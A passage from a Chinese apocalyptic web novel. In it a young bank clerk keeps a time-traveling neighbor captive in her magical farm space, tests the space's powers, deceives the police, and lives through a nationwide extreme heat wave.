“咳咳咳——” “醒了？”秦小薇抱着手臂，居高临下地看着他。 身上实在是太疼了，很久没经历过这样的疼痛了，陆昼缓了好一会才开口说话：“这里……是你的空间？” 他环视四周，眉头皱了起来：“这里的建筑怎么这么幼稚？” 他竟然说她精心布置的童话风农场幼稚？ 秦小薇有点不爽，又踢了他一脚：“喂！现在你才是阶下囚，老实点！” 陆昼换了个舒服的姿势，仰躺在沙滩上：“你想问什么？问吧！” 他语气轻松，似乎并没有意识到自己现在是个阶下囚。 秦小薇蹲了下来，单手提起他的衣领：“你好像一点都不怕我？你发现了我的秘密，不怕我杀了你吗？” “杀我？你敢吗？”陆昼看着她的眼睛，又笑了起来，“杀人犯的眼神可不是你这样的！” 秦小薇：“……” 她嘴硬道： “失手把你打死也是有可能的！你应该知道我是练举重的，力气比普通人大很多！退一万步说，就算我不敢亲自动手，我还不能把你困死在这里吗？这里这么多建筑，我随便挑一间把你关得远远的，你喊破嗓子都吵不到我一丝一毫……” 说着，她又给了他一拳。 陆昼感受着身体各处传来的疼痛，沉默了。 看到他脸上的笑容终于消失了，秦小薇满意了。 笑得那么开心，好像她把他绑来空间里让他很高兴似的，真是太让人不爽了！ 秦小薇自觉扳回一局，她放下陆昼的衣领，开始“审问”他：“你是怎么发现我的空间的？因为上次公园门口我和你说的那个谎？” 陆昼：“嗯，我回去查了下后台数据，发现宁市雨停后，根本没人在APP上发帖卖过培根……我以为你有特殊的渠道，参与了倒卖高价物资，就多查了点信息，打算顺手举报你们……” 秦小薇：“……” 秦小薇想到了他的专业：“你是个黑客？” 陆昼摇头：“我有权限，那些资料我可以随便查。” 秦小薇看他的眼神有些古怪：“你到底是什么身份？” 陆昼：“我现在在宁市的气象灾害应急预警中心工作。” 秦小薇：“什么？” 她不可置信地看着他，他不是办了休学、大学还没毕业吗？学的还是计算机专业……这种神经病，也能进预警中心工作？ 陆昼：“不相信？我车里有证件，你可以打开看看！” 秦小薇看了眼不远处停着的黑色汽车，拿着车钥匙走了过去，打开车门后，她看着副驾驶上的拉布拉多沉默了。 这人出来办事怎么还带着狗？对自己的实力这么自信吗？ 第43章 第43章阴间作息（双更合一）…… “汪——”拉布拉多越过秦小薇,朝着陆昼的方向跑去。 反正是在农场空间里，陆昼还被绑着，秦小薇也不担心他们搞出什么幺蛾子,就没去追拉布拉多,直接弯腰去驾驶室里找东西。 很快,她就找到了陆昼的工作证。 就像他说的那样，他确实是Q省气象灾害预警中心宁市分部的人,职位还是个部长。 竟然是真的？！ 除了陆昼的证件,秦小薇还在他的车上发现了另一支手|枪，车里还有一把唐刀。 他是法外狂徒吗？出门带这么多管制武器！ 秦小薇顿时觉得面前的汽车也变得危险起来,直接把汽车也收进了仓库里。 她带着陆昼的证件回到了沙滩上，因为下半身泡在海水里，刚刚一个浪头打过来的时候,陆昼被海水浇了一脸,秦小薇回来的时候，他已经坐起来了，正用脚撑着沙地往岸上挪,香肠则在咬着他后背的衣服帮忙。 看到秦小薇回来了，他停下动作：“找到了？香肠,坐下！” 原本还咬着他衣服的拉布拉多听到他的指令后立刻坐了下来。 秦小薇的表情有些一言难尽：“你这个职位……不会是你花钱买的吧？” 陆昼：“……” 秦小薇：“你之前说你知道未来会发生什么,是什么意思？” 陆昼看着她的眼睛，一字一顿地答道，语气严肃又认真：“我是个重生者,我是从十几年后重生回来的。” 听到他承认了，秦小薇有种果然如此的感觉，她踢了下他的腿：“证明一下。” 陆昼：“柏翠小区三栋401，有个叫周晴的女人,她肚子里的孩子是个女孩，左脚有六个脚趾。” 秦小薇：“现在科技这么发达，谁知道你是不是偷看人家产检资料了？这个不可信，换一个……” 陆昼又说了好几个“预言”，说的都是一些普通人的私事，需要好几个月的时间验证事情的真假，秦小薇都不满意，一直让他换。 陆昼停顿了一下，他看着她脸上的表情，笑了一下：“可是你已经相信了，不是吗？明天早上九点，你应该会收到新的预警短信，是关于未来高温天气的预警。我可以明确告诉你，未来十几年，这个世界都会充斥着各种天灾和战争，你一个人很难生存下去的！和我合作，我可以让你避开这些危险……” 秦小薇用眼神指了下身后的大片建筑和黑土地，不屑道：“有这片空间在，就算没有你，我也能避开那些危险，关键时刻躲进来就行了！” 陆昼：“那你身边那些亲朋好友呢？他们也不需要吗？和我合作，我可以在必要的时候，帮你救下他们，我还可以帮你处理掉你的那些‘破绽’，不让其他人发现你的秘密……” 听到最后一句话，秦小薇忍不住看了他一眼。 陆昼再接再厉：“我并不是什么坏人！你知道为什么国内的现状和国外会差这么多吗？因为我重生后就联系了上面的人，让他们提前做了准备……换句话说，你现在还能在外面卖爆米花，也有我的一份功劳……” 秦小薇从仓库里拿出一片西瓜，一边吃瓜一边看他表演：“说完了？” 陆昼：“……” 秦小薇：“说了这么多，还不是想让我当你免费的小弟！告诉你，别做梦了！你要真是好人，会大晚上带着枪来威胁我？” 陆昼：“……” 秦小薇三两口吃完西瓜，又打开控制面板，挪了间空屋子到沙滩上。 看到沙滩上忽然出现的小院子，陆昼瞳孔一缩，他的视线落在秦小薇身上，表情有些凝重。 秦小薇提着拉布拉多的背带把它关进院子里，又折回来拽着陆昼的衣领，把人从地上拽了起来：“要我拖你进去，还是你自己进去？” 陆昼沉默了几秒后开口道：“……我自己走。” 手脚都被捆住了，他只能蹦跳着进入院子，动作十分滑稽。 等人进去之后，秦小薇又把屋子挪去了空间的另一边，来个眼不见心不烦。 虽然不知道他的话几分真几分假，但听到他说是他告诉了上面的人，让这个国家提前做了准备应对末世之后，她确实下不了手杀他。 但是放了他也是不可能的，这家伙一副法外狂徒的样子，出去还不知道会对她干出什么事来！ 不过他的身份真要是这么特殊，他要是失踪了，上面应该会很重视吧？ 会不会查到她身上？毕竟他们现在是邻居的关系！ 这家伙既然想让她当他一个人的马仔，应该不会让其他人发现她，他可能把痕迹都处理干净了；也不一定，他也可能做两手准备，留下证据引导其他人查她…… 第一次碰到这样的事，秦小薇觉得自己的脑子都不够用了…… 她烦躁地抓了下头发。 刚刚下手还是太轻了！她应该多揍几拳的！ 算了，吃点好吃的换换心情吧！这些天因为香肠就住在隔壁，她都不敢随便吃空间里的东西。 秦小薇打开仓库，拿了些海肠和韭菜出来，就着晚上吃剩的米饭，做了一大碗海肠捞饭配炭烤培根。 填饱了肚子之后，她的心情好了许多，但这个晚上，她因为陆昼说的那些话，罕见地失眠了。 她穿越的这个世界竟然真的是个末日世界…… 在床上翻腾到十二点还没睡着，秦小薇穿上鞋子进了空间，陆昼躺在地上，睡得正香，丝毫没有当阶下囚的自觉。 秦小薇二话不说，拽着他的衣领拿他当沙包“练”了会拳。 陆昼躺在地上，满眼赤红地盯着她：“秦小薇，你是不是有病！” 他的声音听起来十分愤怒。 秦小薇没理他，发泄完怨气，就出去睡觉了，徒留陆昼一个人躺在地上怀疑人生。 因为陆昼前一天晚上的话，秦小薇第二天早上的早饭都吃得不安心，时不时就打开手机看一看。 九点的时候，她的手机果然收到了预警中心发来的短信，预警短信上说，从下周三开始，Q省将会出现持续几个月的极端高温天气，预警中心提醒广大市民，调整出行时间、注意避暑、防止晒伤、防止食物变质、注意防火…… 与此同时，天气预报显示的温度也刷新了。 之前，秦小薇每次查未来两个月的天气预报，未来两个月的最高温都是38、39℃，这个温度虽然看起来很高，但往年夏天的时候，也会有那么一两周达到这个温度，虽然持续 的时间有点长，但秦小薇觉得，一直开空调的话，这个温度似乎也能接受。 但天气预报刷新之后，下周三的最高温就变成了45℃，到了下周末，更是直接到了53℃！ 后面一个多月，每天的温度都在50℃以上，没有一天下雨！甚至有那么一两天，气温会挑战更加恐怖的60℃！ 秦小薇：！！！ 现在三十多度的高温，外面的水泥路都能把蛋煎熟，真的升到了六十度，是不是人在外面晒几个小时，就能直接晒熟？ 预警消息里还提到了面对高温，普通人应该怎么做。 外出要做好防护，白天最好不要出门，及时补充水分避免脱水中暑，晒伤后要及时处理受损的皮肤屏障…… 一共五条预警短信，秦小薇翻来覆去地看了好几遍，看完短信，她直接拿了钥匙准备出门。 短信里提到，国家专门研制了针对高温的防晒油和特效避暑药，今天开始会陆续在各大药店上架。 秦小薇空间里有之前囤的藿香正气水和防晒霜，但是她觉得新出的这个防晒油和特效避暑药，效果应该会更好一些。 她去看看，能不能抢到一点！ 几乎全城的人都在九点收到了预警短信，经历过上次的暴雨后，没人觉得短信里的内容是在开玩笑，就算今天很热，大家依旧在收到短信的第一时间，放下手头上的事，直奔附近的超市和药店！ 秦小薇骑着车子到药店的时候，药店里已经有很多人了，防晒油和避暑药限购，还得凭身份证限量购买，一个月内只能买一次，但是其他防中暑的药不限购，秦小薇到的时候，它们已经被抢得差不多了，她只买到了一盒防晒油和一盒特效避暑药。 结完了账，她又直奔商场，买了一堆高倍数的防晒霜、晒后修复产品。 之后，她又去了超市，和其他人一起抢水、抢饮料。 虽然空间里的物资够用，但秦小薇依旧表现得就像是一个刚刚收到了预警短信，急于囤物资自救的普通人一样…… 超市里很多人，为了抢货架上的水和饮料，有些人甚至当场大打出手，比水刚退的时候还要疯狂…… 等秦小薇抢完物资回到公寓的时候，已经快到十二点了。 她去浴室冲了个凉，换下了身上已经完全汗湿的上衣和短裤。 等她再次打开手机的时候，各个群里都已经炸了。 工作群里，行长公布了下周的工作时间，从周一开始，秦小薇就得习惯昼伏夜出，以适应骤然升高的温度，为了响应号召，银行的工作时间从早八晚五变成了晚上六点到凌晨两点。 银行每天关门后那么多事，秦小薇很怀疑，凌晨两点她是否能按时下班。 唉！她坚持了两年的健康作息，就要这么被打破了？ 寝室群里，室友们在讨论抢物资的事，除了桶装水，她们还多买了几个塑料桶回来囤水。 所有人都很清楚，按照天气预报显示的温度发展下去，干旱迟早会来临，缺水是迟早的事。 年级群里，大家都在讨论学校会不会保障供水供电和食物的问题。 宿舍楼虽然安装了太阳能发电板和空调，但是发电板的型号并不是最好的那种，真想24小时给空调供电，是做不到的，学生们还得自费买一些电。 但是很遗憾，学校这回并没有像上次那样，给出保证。 反而是鼓励大一大二大三的学生尽量在近期赶回家，学校会安排老师进行线上教学，以减轻学校的压力…… 总而言之，预警短信一出，整个宁市都乱成了一锅粥。 在外面跑了好几个小时，秦小薇有些饿了，她进空间，利用露天厨房给自己做了一碗培根炒饭。 吃东西的时候，她想到了被自己关起来的一人一狗。 秦小薇叹了口气，拿了一袋面包去找陆昼，进屋后才发现，陆昼身上的绳子，不知何时已经被他自己解开了，正坐在凳子上打瞌睡，他头上的伤，也被他撕了衣服下摆，简单包扎好了。 除此之外，秦小薇关在隔壁的拉布拉多，也被他放出来遛了一圈。 秦小薇：“……”他倒是生活得挺悠闲！ 她捡起地上的绳子检查了一下，绳子没有被割断，所以他是怎么解开的？ 秦小薇：“你怎么解开的？” 陆昼：“就那么解开的，胳膊有点不舒服，我解开活动一下！你要是不想看到我自由活动？那你再把我绑起来吧……” 说着，陆昼把手伸了出来，一副任她施为的模样。 秦小薇：“……”他都能自己解开，她还绑什么，这样显得她很傻好不好？ 等出去了她就上网进修绑人的108种办法！ 陆昼：“看到预警短信了？是不是改变主意了？只要你……” 秦小薇把手上的面包扔给他：“你想多了，只是来看看你有没有饿死而已！” 扔完了面包，她就准备回去继续吃饭。 陆昼拿起面包，跟在她身后，陆昼的鞋子里藏了刀片，被秦小薇“收缴”了，只能穿着袜子在地上走，但他却像是感觉不到疼似的，脚步不急不缓，甚至还一边走一边拆包装袋啃面包。 秦小薇没理他，任由他跟着。 吃完了中饭，秦小薇又洗了一盘草莓，她咬着草莓尖尖，盯着对面啃面包的男人，不知道在想什么。 察觉到她眼神里的不怀好意，陆昼啃面包的动作慢了下来：“……香肠已经饿了一晚上了，你应该不会饿死一条无辜的狗吧？” 秦小薇打开操作面板，把院子挪到附近，折回屋里，拆了一包能量饼干扔给拉布拉多。 陆昼看得直皱眉：“能量饼干不适合喂狗……” 秦小薇：“你们俩现在都是阶下囚，能给你们一口吃的，已经是我人美心善了！没资格挑剔食物的好坏！” 她三两口吃完了手里的草莓，拽着陆昼来到黑土地面前，召唤出控制面板：“你看到了什么？” 陆昼：“玉米、甘蔗、棉花。” 秦小薇盯着他的眼睛，分辨他话里的真假：“没别的了？” 陆昼：“……没了。” 秦小薇推了他一下：“去摘一根玉米给我……快点！别磨蹭！” 陆昼避开她踢过来的脚：“我又没说不摘，你不要这么暴躁。” 陆昼往前走了几步，在他接触到黑土地里成熟的玉米之前，玉米上方就出现了一个半球形的保护罩，保护罩完全罩住了玉米，陆昼的手根本碰不到黑土地里的玉米。 之后，秦小薇又带着他去了工坊、养鸡场…… 做了一圈“实验”后，秦小薇发现，农场空间应该是和她绑定的，黑土地和工坊生产的东西，只有她能收获，工坊和黑土地的控制面板，也只有她能看到，陆昼连商店和机场的大门都进不去。 但被系统定义为“装饰物”的房子和物品，他却能随意接触。 陆昼双手环胸，抱着手臂看着她：“实验完了？得出什么结论了？” 秦小薇上下打量着他，露出一个不怀好意的笑：“还差最后一项……” “你想干什么？”见她的视线落在自己两腿之间，陆昼下意识侧了侧身体。 看到他防备的动作，秦小薇忍不住翻了个白眼：“别太自恋了，我对你没兴趣！” 她从仓库里取出四瓶500ml装的牛奶递给他：“喝吧！全部喝完！” 陆昼：“这么多，你想撑死我？” 秦小薇挥了挥拳头：“还是你想和我打一架？” 陆昼忍不住笑了起来：“真打起来，我可不一定会输……” 虽然嘴上这么说，但他还是打开瓶盖，“ 咕咚咕咚”灌起了牛奶。 陆昼：“喝完了，你还有什么折磨人的手段？都——” 不等他说完，秦小薇就把他收进了仓库里。 她可不是故意折磨人，只不过好不容易碰到一个免费的实验对象，用他试试活人存在仓库里能不能“保鲜”罢了！ 今天除了Q省之外，国内其他省份也都发了预警短信，虽然升温开始的时间各不相同，但下周的最高温都在50℃往上。 显然，和之前的暴雨一样，这次升温也是全国性的！ 针对官方今天发的几条预警短信，网上有不少网友做了扩充，提出了一些更有建设性的意见，秦小薇一个下午都在上网，把其中她认为有用的点都记了下来。 傍晚的时候，她没有出门卖爆米花。毕竟，作为一个普通人，收到了预警短信后，她的第一反应应该是囤物资而不是出售物资。 唉，都怪陆昼！她现在做事都要考虑她的行为符不符合一个普通人的行为逻辑了…… 秦小薇直到第二天早上，才把陆昼从仓库里放出来。 人一出来，她就满脸期待地盯着他：“你现在感觉怎么样？有没有特别想上厕所？” 陆昼单手捂着额头：“有点晕——你对我做了什么？你怎么换了套衣服？” 秦小薇：“除了晕呢？还有别的感觉吗？” 陆昼的表情有些迟疑：“还有点恶心想吐。” 秦小薇：“那你还记得之前发生了什么吗？” 陆昼：“……” 秦小薇问了他一堆问题，最后确定了，人放在仓库里也可以“保鲜”，记忆还会停留在进入仓库之前，就是出来后有点头晕恶心的后遗症，至于这后遗症会不会对身体有什么伤害，现在还不确定。 拉布拉多吃得多拉得多，还得放出来上厕所，秦小薇原本是想把一人一狗都关进仓库里面的，但活物关仓库里再出来会有“后遗症”，她最后还是没忍心“虐狗”，只把陆昼关了进去。 毕竟他是个有思想、会自己解绳子的大活人，放他在空间里待着，她是真的不放心。 秦小薇甚至有点担心，她进空间的时候，他会埋伏她，拿着板砖给她来一下，然后威胁她给他当马仔…… 把陆昼关起来之后，秦小薇去看了眼还关在院子里的拉布拉多：“唉！该拿你怎么办呢？不会砸手里了吧？” “汪——”拉布拉多似乎对现在的情况一无所知，正在追着自己的尾巴咬。 银行傍晚才开门，秦小薇白天没什么事，就在家里打游戏。 上午的时候，她家的大门被两个便衣敲响了。 穿着短袖的中年男人向秦小薇展示了一下他的证件：“你好，警察！有几个问题需要问一下你，麻烦配合一下！” “啊？警察叔叔，我犯什么事了？”秦小薇表现得有些惶恐。 中年警察拿出一张陆昼的照片：“认识这个人吗？” 秦小薇点头：“见过几面，他就住对面，他之前还帮李阿姨给我送过电梯卡……” 中年警察：“你上次见他是什么时候？” 秦小薇：“好像是上周五的晚上，我下班回来在电梯里碰到了他，我们一起坐电梯上来的……” 两个警察又问了一些和陆昼相关的问题，秦小薇一一回答了。 秦小薇虽然撒过不少谎，但对着警察撒谎还是第一次，可能是因为真的做了“坏事”，看到他们那身制服，她就莫名地心虚气短。 两名警察离开后，秦小薇关上门，深深吐出一口气。 她的心理素质还是不行啊！ 不知道她刚刚表现得怎么样？他们有没有发现她在说谎？ 陆昼那个人一副法外狂徒的样子，出门还带着两把枪，说不定犯过不少事，有很多仇家，他身份还这么特殊，警察应该不会把她列入嫌疑人的范畴……吧？ 第44章 第44章感冒（双更合一）…… 秦小薇在沙发上坐下,她盯着瓷砖上的花纹，有些焦虑地咬着指甲，在脑内分析事情最坏的走向。 按照目前的发展,最坏的情况就是警察发现她的空间,同时知道陆昼是她抓的。 如果未来真的像陆昼说的那样天灾和战争不断,她的空间对高层来说，肯定很有用,就算警察查到了所有的事,也不会要她的命。更何况，陆昼和香肠都还活得好好的……最差的情况,就是拿她当工具人或者是拿她做实验研究空间。 虽然农场里没有什么杀伤性的武器，但它的存在，就够她在危急时刻保命了。 就算她被抓起来了,她也能躲进农场空间里。 待个几年,再找机会出来……真要是天灾战争不断，一直待在空间里好像也没什么不好的！ 就算是最坏的情况，她也没有生命危险！ 安慰了自己一番,秦小薇提着的心才勉强放下来，不过经历了这么一遭,她也没心情再打游戏了。 傍晚出门上班的时候,秦小薇在电梯里碰到了准备出门扔垃圾的李阿姨，她想了想，主动开口道：“李阿姨,上午有警察来敲我家的门，问住你家那位陆先生的事……他出什么事了吗？” 说完，她又补充了一句：“要是不方便说的话，您就当我没问。” 李阿姨叹了口气：“失踪了！周六早上说去上班,结果人就没回来，我还以为他回家住了，没想到他根本没回去，昨天也没去上班，到处都找不到人……唉！” 秦小薇连忙安慰她：“李阿姨，你别担心！他一个大男人，肯定不会有事的……说不定是去哪里玩了，过几天就回来了！” 李阿姨：“唉，他可千万别出什么事啊！人没找到，我们家少爷今天担心得饭都吃不下了！” 走出电梯后，秦小薇忽然有种自己是杀完人后跑去和受害者家属套近乎、打探案情的变态杀人犯的错觉，她晃了晃脑袋，甩掉这种奇怪的想法。 她可没杀人！只是揍了陆昼几顿而已…… 虽然银行今天的营业时间有点阴间，但因为昨天的预警短信，依旧有不少人过来排队办业务，除了取钱的，还有不少人在手机银行上面买了小克重的金条，今天过来提金。 预警短信出来后不久，网上就有人预言国内和国外一样，很快就会乱起来，说钱以后可能会没用，让普通人弄点黄金，还有人出了“教程”，教粉丝买了黄金以后要怎么藏…… 虽然这种扰乱人心、破坏社会安定的说法发出来不久就被系统自动删除了，但俗话说“盛世古董乱世黄金”，很多人都非常相信这个说法，所以这两天买金首饰、金条的人格外多。 今天还有一趟运钞车是专门送金条的。 秦小薇在柜台前坐下之后，嘴皮子就没停下来过，提金条的人太多了，她这一晚上接触到的金条，比以前一个月加起来还多…… 工作时间从早八晚五调整成晚六早二之后，从表面上看，她的工作时间是缩短了，但少了午休吃饭的两个小时，忙的时候，他们得连着干八个小时。 再加上生物钟没调整过来，到了后面，秦小薇完全是强撑着精神在工作。 凌晨四点复核完业务、整理完凭证后，她累得一句话都不想说。 还有36天，再坚持36天，她就解放了！ 今天的最高温是38℃，还没有到需要普通人颠倒作息的程度，银行提前改变营业时间，也只是为了响应市政的号召。 秦小薇凌晨四点多下班的时候，路上别说行人了，连车都没有几辆，她在路上骑着车，竟然有一种分外凄凉的感觉。 忙到这个点才下班，总有种她过得很惨的感觉…… 到家后，秦小薇简单洗漱完，沾上枕头就睡着了。 至于白天困扰她的陆昼、香肠和警察，完全被她抛到脑后去了！ 因为生物钟的关系，秦小薇睡了不到一个小时就醒了，她蒙上空调被，强迫自己继续睡，一觉睡到了下午一点多。 她起床进空间吃了碗海鲜面，又喂了狗。 拉布拉多和她一样，吃的也是海鲜面，不过它那份是不加调味料的。 因为陆昼说灾难会持续很多年，秦小薇便打算把买来的能量饼干都存起来，先用小麦当主食。她觉得，要是情况真的持续变差，到了后面，就算是她另外种的蔬菜，也不能随便拿出来，到时候能拿出来的食物，或许就只有能量饼干了… … 秦小薇看着疯狂炫饭的拉布拉多，又是一阵糟心，这狗不会真的砸手里了吧？它也太能吃了，一顿饭吃得比她还多！ 虽然农场空间的产出够她再养很多条狗，之前香肠被裴欣遗弃的时候，她也给它捐过能量饼干，但陆昼的狗白吃她的饭这个认知，就让人觉得很不爽…… 回忆起昨天面对警察时的那种心惊胆战，秦小薇更不爽了。 吃完了面条之后，秦小薇把陆昼从仓库里放了出来，直接对着他的脸来了一拳，陆昼刚从仓库里出来，根本没反应过来，鼻子硬生生挨了一拳。 他捂着自己的脸，对秦小薇怒目而视：“秦小薇，你是不是有病？突然发什么疯？” 秦小薇又是一拳砸过去：“你的狗吃得太多了，我收点利息！” 陆昼险险避开她挥过来的拳头：“一包能量饼干而已！你怎么这么小气？” 他的视线扫过桌上还没清洗的餐盘，又看了眼正在低头干饭的狗，终于意识到了不对，他的脸色变得很难看：“秦小薇，你到底对我做了什么？” 秦小薇又举起拳头：“想知道？慢慢猜去吧！” 陆昼的手脚没被捆住，除了刚开始的时候躲闪不及挨了一下，后面一直在还击，秦小薇虽然战斗经验不如他丰富，但她也不是吃素的，要输的时候就用仓库“作弊”，做好了准备再把人放出来继续揍…… 这一架陆昼打得十分憋屈：“秦小薇，有种你光明正大地和我打一场！” 秦小薇冷笑：“我没种，就喜欢玩阴的。” 陆昼：“……” 正在干饭的拉布拉多被他们闹出的动静吵到了，它抬头看了看不远处扭打在一起的两人，又低头看了看自己的新饭盆，低下头继续干饭…… 等发泄完了，秦小薇停了下来，又把人收进仓库里，才开始收工坊和黑土地出产的东西。 提交机场订单的时候，秦小薇忽然想到一个很严肃的问题。 她调整了作息以后，下午一点吃“早饭”，晚上上班前吃“中饭”，那晚饭那顿呢？她该什么时候吃？ 按照时间间隔来说，晚上十一点的时候吃“晚饭”似乎比较合适，但后面还要工作五六个小时，下班路上一个小时左右，间隔七个小时肯定会饿…… 要不她下班后熬到早上七八点再睡？下午四点半起床直接吃“早饭”…… 秦小薇思考了好一会，才安排好自己未来几个月的作息时间。 可能是因为白天睡到了下午才起来，秦小薇今天晚上上班的时候，没那么困了。 今天银行依旧很忙，她的“午饭”都是趁着上厕所的空档，抽空啃的能量饼干…… 今天秦小薇忙到了凌晨五点才下班。 天气预报显示，今天的温度是38－45℃，刚从开足了冷气的银行出来的时候，秦小薇确实觉得有点热，但太阳还没出来，共享电动车开快一点还能感觉到一丝微风。 习惯以后，似乎也还好……虽然她到家的时候，身上的衣服都汗湿了。 到家后，她进空间弄了点吃的填肚子，之后又切了一盘冰西瓜，坐在沙发上，一边啃西瓜，一边上网。 果然，夏天和冰西瓜最配了！ 不过之前那场暴雨把地里大部分西瓜苗都淹死了，现在又是极端高温天气，今年夏天，市面上应该很难买到西瓜吧…… 为了调整自己的作息，秦小薇硬是玩手机玩到了早上七点半才睡。 早晨出了太阳之后，外面的温度就开始迅速升高，不过秦小薇上周就在阳台和窗户上固定了双层隔热膜，屋里空调的温度又调得比较低，她这一觉睡得还算安稳，中途也没被热醒。 下午起床后，她打开手机看了看，发现一觉睡醒，三个室友有两个“失业”了！ 她们四个都是体院的，除了秦小薇，其他三个人都没修双学位，找的实习工作自然也都和运动相关。 范槿在一家运动器材公司做健康管理咨询，段霞和肖琳琳则都在专业的少儿培训机构做教练。 因为高温要持续好几个月，未来什么情况，官方也没有明说，五六十度的高温，还送孩子去运动，简直是找罪受。 从周一开始，就陆续有家长带着孩子去培训机构退课。 今天她俩去上班的时候，班上已经没有学生了，又因为她俩还在实习期，没有签合同，就直接被老板辞退了。 干了七个多月，还差三十多天就满九个月，可以拿到实习证明了，现在却忽然被辞退，秦小薇觉得她俩都挺惨的。 她之前还听段霞说过，她是决定留在培训机构转正的，领导也给了她明确的答复，就差拿到毕业证签合同了。 【秦小薇：那你们的实习证明怎么办？导员不是说实习期不满九个月不给毕业吗？】 【段霞：经理给我们开了证明，是按照九个月开的。】 秦小薇：“……”她忘了，有些事是有操作空间的。 说实话，秦小薇还有点羡慕，要是她工作的银行愿意这么对她，她肯定回来做顿大餐庆祝！ 【秦小薇：没事没事，后面还有很多招聘会，你们可以趁着这一个多月多做点准备。】 【段霞：唉，只能慢慢找了！我本来还以为我可以跳过找工作面试这一环的……】 【段霞：崩溃大哭.gif】 【秦小薇：抱抱.jpg】 可能是因为今天只是升温的第一天，再加上又有预警短信提前提醒大家做好准备，外面并没有出太大的乱子，只是从今天开始，超市的水和饮料也要凭身份证限购了，每人每天只能购买2000ML的液体。 与此同时，饮用水和能量饼干一样，开始在市内各个大小超市上架。 不过现在自来水还没有停，2000ML的量也够一个成年人日常消耗了，普通人对于这条限购消息，并没有太大的反应。 虽然温度只升高了几度，但秦小薇傍晚出门上班的时候，明显能感觉到室外温度的上升。 太阳还没完全落山，今天的天气太过晴朗，就连夕阳都比平时好看很多，是非常非常漂亮的橘红色。 放在以往，秦小薇肯定要拿出手机拍张照片记录一下，但今天，她却只想走阴凉的地方，快点赶到银行吹空调。 夕阳照在身上，带来阵阵热意，她脸上不断有汗珠落下，衣服紧贴在身上，让她觉得非常不舒服。 秦小薇今天穿的内衣，是特地挑选的轻薄款。还没出门的时候，她觉得非常合身，但现在，她只觉得它是束缚，闷得她喘不过气。 去银行上班的这一路，她过得十分煎熬。 等进了银行，感受到空调吹到身上的凉风，秦小薇才觉得自己活了过来。 她担心穿着湿衣服吹空调会感冒，去试衣间换了备用的制服，才和其他同事一起，做银行营业前的准备工作。 今天取钱的客户少了一些，但是提金条的人依旧不少，秦小薇吃“中饭”的时间依旧是挤出来的。 水泥地被暴晒了一整天，太阳落山以后就在持续散热，因为建筑和水泥地产生的“热岛效应”，就算秦小薇下班的时候已经凌晨了，周围的温度依旧没比白天低多少。 秦小薇能感觉到，她的呼吸是热的，周围的空气是热的，就连吹过的风都是热的…… 太难受了！ 她第一次发现，原来夏天竟然这么难熬！ 在路上的时候，秦小薇就忍不住打开手机APP，用无线开关提前把家里的空调打开了…… 可能是因为忽冷忽热，也可能是因为银行的空调温度开得太低了，下午起床的时候，秦小薇发现自己鼻塞感冒了。 秦小薇：“……”亏她还做了一堆防中暑、防脱水攻略，没想到她最先吃的，竟然是感冒药。 鼻塞之后，秦小薇也没什么胃口，她随便煮了点粥配橄榄菜，就算是糊弄过去一顿了。 可能是因为温度太高了，大家都不愿意出门，今天晚上来银行办事的人明显比昨天要少，秦小薇白天甚至还有时间摸鱼上网。 同事们也硬是挤 出了一点时间在办公室里休息吃“中饭”，可能是知道现在的工作安排不合理，经理看到他们这样也没有多说什么。 “外面真的太热了！现在真的不能在外面待太久，我中午下楼去楼下小超市买能量饼干的时候，差点没热晕过去！” “我都不想出门，我老公还让我去超市抢点菜回来做饭，我直接把他怼了一顿，让他在家里啃能量饼干……这么热的天，做饭要出一身汗不说，做出来的东西，我也没胃口吃！” “现在哪还用抢菜？下午四点多超市开门的时候，我就去了超市，里面根本没什么人！我买了一斤猪肉，准备回家炒个肉片，回来发现肉都臭了……最近这两个月还是在家吃能量饼干吧，至少那玩意儿不会吃坏肚子！” “我家楼下有个老太太，不上网，不知道超市昨天改营业时间了，一大早就去超市买菜，结果超市没开门，她被热晕在了路上！” “啊？人没事吧？” “不知道，被路人送去医院抢救了，现在还没回来呢！” “……” 虽然今天才是升温的第二天，温度也只升高了10℃，但48℃这种高温实在是超过了人体能承受的极限，所以这两天不少还坚持白天在户外工作的人都中暑了。 市政也出台了相关的政策，严厉打击要求员工白天在户外工作的企业，一旦抓到，必定严惩！ 外面的高温可不是说着玩的，晒久了得了热射病，那可是会死人的！ 往年宁市除了夏天最热的那一两个月，其他时候的气候都还算宜人，普通人根本就没有应对极端高温天气的经验，他们的身体一时半会也“反应”不过来……真要是一直在户外工作，身体出问题倒下，也就是几个小时的事。 秦小薇摸鱼的时候，还刷到了白天测评博主直播测评防晒霜的直播回放。 秦小薇：“……”这也太拼了！ 她懒得看过程，直接拖动进度条到最后面看结论。 为了测评防晒霜，那位测评博主硬是露着后背在太阳底下坚持了两个多小时，最后测评完的时候，人都快不行了，说话都是有气无力的，一个一米八的壮汉，硬是要人扶着才能站稳。 可能是因为以前没经历过这样的暴晒，那位博主后背的皮肤都晒得红肿脱皮了。 然后，他得出的结论是，目前效果最好的防晒产品是预警短信里提到的防晒油。 秦小薇：好像一点都不意外，毕竟防晒油是国家专门针对这次极端高温天气研发的，还是在药店上架的，防晒效果肯定比市面上的防晒霜好！ 晚上下班回家，路上又是一路煎熬。 周五的时候，温度比前一天又升高了两度，但这个时候，普通人其实已经感受不到温差带来的变化了，他们只觉得热！ 环境温度太高，汗液难以蒸发，短短三天，中暑、热射病、高温导致的各类器官损伤，就成了户外工作人员的“常见病”。 很多行业不得不停工，或是像秦小薇工作的银行一样，调整工作时间，开始昼伏夜出…… 有些之前没买太阳能发电板、家里又没安装空调、只靠一台风扇强撑着的老人，直接热死在了家里，等被邻居发现的时候，尸体已经因为高温臭了…… 秦小薇之前还会每天去楼下的便利店买能量饼干，现在要是回来的时候忘记了，她根本就懒得下楼。 因为环境温度太高，空调不仅耗电量变大了，降温效果也变差了。 秦小薇白天把空调开到16℃在家里睡觉，到中午温度最高的时候依旧会被热醒，她之前都是铺着床单盖着空调被睡的，现在为了睡个好觉，她不得不把床单换成更凉快的凉席，空调被也换成了更薄的床单，睡觉的时候只盖一个肚子。 她还在床边放了一台电风扇，同时开着空调和电风扇睡觉。 可能是因为银行和外面的温差差得太大了，冷热交替，她这周一直在吃药，但感冒却有越来越严重的趋势。 秦小薇觉得，温度要是继续往上升，她就要搬去空间里睡了！ 她种在阳台的菜，也因为干燥、高温，肉眼可见地变得蔫巴，和她种在空间里的蔬菜完全是两个画风。 